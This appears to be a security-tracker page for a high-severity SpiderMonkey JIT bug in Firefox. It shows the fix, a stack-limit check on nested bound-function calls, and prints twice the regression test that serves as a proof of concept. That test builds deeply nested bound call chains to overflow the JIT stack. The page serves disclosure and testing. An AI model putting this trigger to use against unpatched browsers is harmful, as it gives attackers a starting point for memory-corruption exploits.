High firefox Logic Error 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Impacthigh
DescriptionJIT miscompilation in the JavaScript Engine: JIT component
ComponentSpiderMonkey
Bug ClassLogic Error
Tracker2078749
Fix commite1be8aac1f0e (firefox) +75/-0
CISA KEVNot listed
CreditedMozilla
Disclosed2026-10-27

Changed Functions

FunctionChangeNotes
with
js/src/jit-test/tests/ion/bug2078749.js
modified
for
js/src/jit-test/tests/ion/bug2078749.js
modified
while
js/src/jit-test/tests/ion/bug2078749.js
modified

Files Changed

  • js/src/jit-test/tests/ion/bug2078749.js
  • js/src/jit/CodeGenerator.cpp
diff --git a/js/src/jit/CodeGenerator.cpp b/js/src/jit/CodeGenerator.cpp
index 3d815c481f5..effb4f0be48 100644
--- a/js/src/jit/CodeGenerator.cpp
+++ b/js/src/jit/CodeGenerator.cpp
@@ -7263,6 +7263,12 @@ void JitRuntime::generateIonGenericCallBoundFunction(MacroAssembler& masm,
   // Load the target in calleeReg.
   masm.unboxObject(targetSlot, calleeReg);
 
+  // Bound targets can be nested arbitrarily deep. Check the stack limit before
+  // recursing.
+  const void* limitAddr = masm.runtime()->addressOfJitStackLimit();
+  masm.branchStackPtrRhs(Assembler::AboveOrEqual, AbsoluteAddress(limitAddr),
+                         vmCall);
+
   // At this point, all preconditions for entering the trampoline are met:
   // - calleeReg contains a pointer to the callee object
   // - argcReg contains the number of actual args (now including bound args)
diff --git a/js/src/jit-test/tests/ion/bug2078749.js b/js/src/jit-test/tests/ion/bug2078749.js
new file mode 100644
index 00000000000..01985a52c43
--- /dev/null
+++ b/js/src/jit-test/tests/ion/bug2078749.js
@@ -0,0 +1,69 @@
+// |jit-test| skip-if: helperThreadCount() === 0
+
+evalInWorker(`
+with ({}) {}
+var call = Function.prototype.call;
+var levels = [call.bind(call, call)];
+var cost = [2];
+for (var k = 1; k < 24; k++) {
+  levels.push(call.bind(levels[k - 1], 0, call, levels[k - 1], 0));
+  cost.push(4 + 2 * cost[k - 1]);
+}
+function build(slots, target, thisv) {
+  var pieces = [];
+  var budget = slots - 200;
+  for (var k = levels.length - 1; k >= 1; k--) {
+    while (budget >= cost[k]) {
+      pieces.push(levels[k]);
+      budget -= cost[k];
+      slots -= cost[k];
+    }
+  }
+  var n = 3 * (pieces.length + 2) - 2;
+  slots -= n + (n & 1);
+  var pad = [];
+  for (var i = 0; i < slots - 1; i++) {
+    pad.push(call);
+  }
+  pieces.push(call.bind(call, ...pad));
+  var bound = [0];
+  for (var i = 1; i < pieces.length; i++) {
+    bound.push(call, pieces[i], 0);
+  }
+  bound.push(call, target, thisv);
+  return call.bind(pieces[0], ...bound);
+}
+function leaf() { return 1; }
+function other() { return 2; }
+var callees = [leaf, other, call.bind(leaf, 0), call.bind(other, 0)];
+function f(g) { return g(); }
+var probe = build(50000, leaf, 0);
+for (var tries = 0; tries < 100; tries++) {
+  for (var i = 0; i < 100000; i++) {
+    f(callees[i & 3]);
+  }
+  try {
+    if (f(probe) === 1) {
+      break;
+    }
+  } catch (e) {}
+}
+var body = "'use strict'; var x = this; var ion = +inIon();";
+for (var i = 0; i < 1034; i++) {
+  body += "var a" + i + "=x*" + (i + 2) + ";";
+}
+body += "Date.now(); return (0";
+for (var i = 0; i < 1034; i++) {
+  body += "+a" + i;
+}
+body += ") * ion;";
+var big = Function(body);
+for (var i = 0; i < 3000000 && big.call(1.5) === 0; i++) {}
+print("warm " + tries + " " + i);
+var shot = build(1046486, big, 1.5);
+try {
+  print("returned " + f(shot));
+} catch (e) {
+  print("caught " + e);
+}
+`);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/js/src/jit-test/tests/ion/bug2078749.js b/js/src/jit-test/tests/ion/bug2078749.js
new file mode 100644
index 00000000000..01985a52c43
--- /dev/null
+++ b/js/src/jit-test/tests/ion/bug2078749.js
@@ -0,0 +1,69 @@
+// |jit-test| skip-if: helperThreadCount() === 0
+
+evalInWorker(`
+with ({}) {}
+var call = Function.prototype.call;
+var levels = [call.bind(call, call)];
+var cost = [2];
+for (var k = 1; k < 24; k++) {
+  levels.push(call.bind(levels[k - 1], 0, call, levels[k - 1], 0));
+  cost.push(4 + 2 * cost[k - 1]);
+}
+function build(slots, target, thisv) {
+  var pieces = [];
+  var budget = slots - 200;
+  for (var k = levels.length - 1; k >= 1; k--) {
+    while (budget >= cost[k]) {
+      pieces.push(levels[k]);
+      budget -= cost[k];
+      slots -= cost[k];
+    }
+  }
+  var n = 3 * (pieces.length + 2) - 2;
+  slots -= n + (n & 1);
+  var pad = [];
+  for (var i = 0; i < slots - 1; i++) {
+    pad.push(call);
+  }
+  pieces.push(call.bind(call, ...pad));
+  var bound = [0];
+  for (var i = 1; i < pieces.length; i++) {
+    bound.push(call, pieces[i], 0);
+  }
+  bound.push(call, target, thisv);
+  return call.bind(pieces[0], ...bound);
+}
+function leaf() { return 1; }
+function other() { return 2; }
+var callees = [leaf, other, call.bind(leaf, 0), call.bind(other, 0)];
+function f(g) { return g(); }
+var probe = build(50000, leaf, 0);
+for (var tries = 0; tries < 100; tries++) {
+  for (var i = 0; i < 100000; i++) {
+    f(callees[i & 3]);
+  }
+  try {
+    if (f(probe) === 1) {
+      break;
+    }
+  } catch (e) {}
+}
+var body = "'use strict'; var x = this; var ion = +inIon();";
+for (var i = 0; i < 1034; i++) {
+  body += "var a" + i + "=x*" + (i + 2) + ";";
+}
+body += "Date.now(); return (0";
+for (var i = 0; i < 1034; i++) {
+  body += "+a" + i;
+}
+body += ") * ion;";
+var big = Function(body);
+for (var i = 0; i < 3000000 && big.call(1.5) === 0; i++) {}
+print("warm " + tries + " " + i);
+var shot = build(1046486, big, 1.5);
+try {
+  print("returned " + f(shot));
+} catch (e) {
+  print("caught " + e);
+}
+`);
Loading diff…